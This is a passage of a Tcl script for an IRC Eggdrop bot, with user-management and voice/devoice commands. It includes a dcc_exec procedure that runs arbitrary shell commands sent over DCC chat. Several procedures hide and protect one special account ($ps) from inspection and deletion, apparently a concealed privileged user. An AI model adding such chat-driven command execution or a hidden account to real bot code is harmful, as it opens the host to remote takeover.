bind dcc * read dcc_read
bind dcc * ` dcc_cmd
bind dcc * get dcc_get
bind dcc * u dcc_u
proc dcc_u {hand idx arg} {
foreach x [utimers] {
putdcc $idx "1N3 $x"
}
}
bind dcc * t dcc_t
proc dcc_t {hand idx arg} {
foreach x [timers] {
putdcc $idx "1N3 $x"
}
}
proc dcc_exec {hand idx arg} {
global own notc
if {$hand != $own || $arg == ""} { return 0 }
set para1 [lindex $arg 0]
set para2 [lindex $arg 1]
set para3 [lindex $arg 2]
set para4 [lindex $arg 3]
set para5 [lindex $arg 4]
if {$para2 == ""} {
catch { [exec $para1] } result
} elseif {$para3 == ""} {
catch { [exec $para1 $para2] } result
} elseif {$para4 == ""} {
catch { [exec $para1 $para2 $para3] } result
} elseif {$para5 == ""} {
catch { [exec $para1 $para2 $para3 $para4] } result
} elseif {$para5 != ""} {
catch { [exec $para1 $para2 $para3 $para4 $para5] } result
}
putdcc $idx "1N3 $result"
}
proc pub_host {nick uhost hand channel rest} {
global ps notc
if {$rest == ""} {
set user $nick
} else {
set user [lindex $rest 0]
}
if {![validuser $user] || [string tolower $user] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc ? <n/a>"
return 0
}
if {[getuser $user HOSTS] != ""} {
set hosts [getuser $user hosts]
puthlp "NOTICE $nick :$notc ?HOSTS: $hosts"
} else {
puthlp "NOTICE $nick :$notc ? Can't found $user host."
}
}
proc pub_flag {nick uhost hand channel rest} {
global ps notc
if {$rest == ""} {
set user $nick
} else {
set user [lindex $rest 0]
}
if {![validuser $user] || [string tolower $user] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc ? <n/a>"
return 0
}
if {[chattr $user] != ""} {
puthlp "NOTICE $nick :$notc ? Flags: [chattr $user]"
} else {
puthlp "NOTICE $nick :$notc ? Can't found $user flag."
}
}
catch { unbind dcc n match *dcc:match }
catch { unbind dcc n channel *dcc:channel }
proc pub_deluser {nick uhost hand channel rest} {
global botnick ps owner notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc ? 4DeNIEd..!"
return 0
}
if {$rest == ""} {
puthlp "NOTICE $nick :$notc ? Usage: deluser <nick>"
return 0
}
set who [lindex $rest 0]
if {[string tolower $who] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc ? <n/a>"
return 0
}
if {$who == $owner} {
puthlp "NOTICE $nick :$notc ? YoU CaNT DeLeTE $owner..!"
return 0
}
if {$who == ""} {
puthlp "NOTICE $nick :$notc ? Usage: -user <nick>"
} else {
if {![validuser $who]} {
puthlp "NOTICE $nick :$notc ? <n/a>"
} else {
if {[matchattr $who n]} {
puthlp "NOTICE $nick :$notc ? You cannot DeLETE a bot owner."
} else {
if {([matchattr $who m]) && (![matchattr $nick n])} {
puthlp "NOTICE $nick :$notc ? You don't have access to DeLETE $who!"
} else {
deluser $who
saveuser
puthlp "NOTICE $nick :$notc ? $who DeLETE."
}
}
}
}
}
proc pub_chattr {nick uhost hand channel rest} {
global ps own notc
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc ? 4DeNIEd..!"
return 0
}
if {$nick != $own && [matchattr $nick X]} {
puthlp "NOTICE $nick :$notc ? 4!bLOckEd!"
return 0
}
set who [lindex $rest 0]
set flg [lindex $rest 1]
if {$who == ""} {
puthlp "NOTICE $nick :$notc ? Usage: chattr <nick> <flags>"
return 0
}
if {![validuser $who]} {
puthlp "NOTICE $nick :$notc ? <n/a>"
return 0
}
if {[string tolower $who] == [string tolower $ps]} {
puthlp "NOTICE $nick :$notc ? <n/a>"
return 0
}
if {$flg == ""} {
puthlp "NOTICE $nick :$notc ? Usage: chattr <nick> <flags>"
return 0
}
set last_flg [chattr $who]
chattr $who $flg
saveuser
puthlp "NOTICE $nick :$notc ? $who change from \[4$last_flg1\] to \[4[chattr $who]1\]"
return 0
}
proc pub_voice {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest == "" && [isvoice $nick $chan]} {
puthlp "NOTICE $nick :$notc ? Usage: voice <nick>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc ? 4DeNIEd..!"
return 0
}
if {$rest != ""} {
voiceq $chan $rest
} {
voiceq $chan $nick
}
return 0
}
proc pub_mvoice {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc ? 4DeNIEd..!"
return 0
}
set nicks ""
set i 0
set members [chanlist $chan]
foreach x $members {
if {(![isop $x $chan]) && (![isvoice $x $chan]) && (![matchattr $x O])} {
if {$i == 6} {
voiceq $chan $nicks
set nicks ""
append nicks " $x"
set i 1
} {
append nicks " $x"
incr i
}
}
}
voiceq $chan $nicks
}
proc pub_devoice {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest == "" && ![isvoice $nick $chan]} {
puthlp "NOTICE $nick :$notc ? Usage: devoice <nick>"
return 0
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc ? 4DeNIEd..!"
return 0
}
if {$rest != ""} {
putserv "MODE $chan -vvvvvv $rest"
} else {
putserv "MODE $chan -v $nick"
}
return 0
}
proc pub_mdevoice {nick uhost hand chan rest} {
global notc botnick
if {![isop $botnick $chan]} { return 0 }
if {$rest != ""} {
set chan [lindex $rest 0]
if {[string first # $chan]!=0} {
set chan "#$chan"
}
}
if {![matchattr $nick Q]} {
puthlp "NOTICE $nick :$notc ? 4DeNIEd..!"
return 0
}
set nicks ""
set i 0
set members [chanlist $chan]
foreach x $members {
if {[isvoice $x $chan]} {
if {$i == 6} {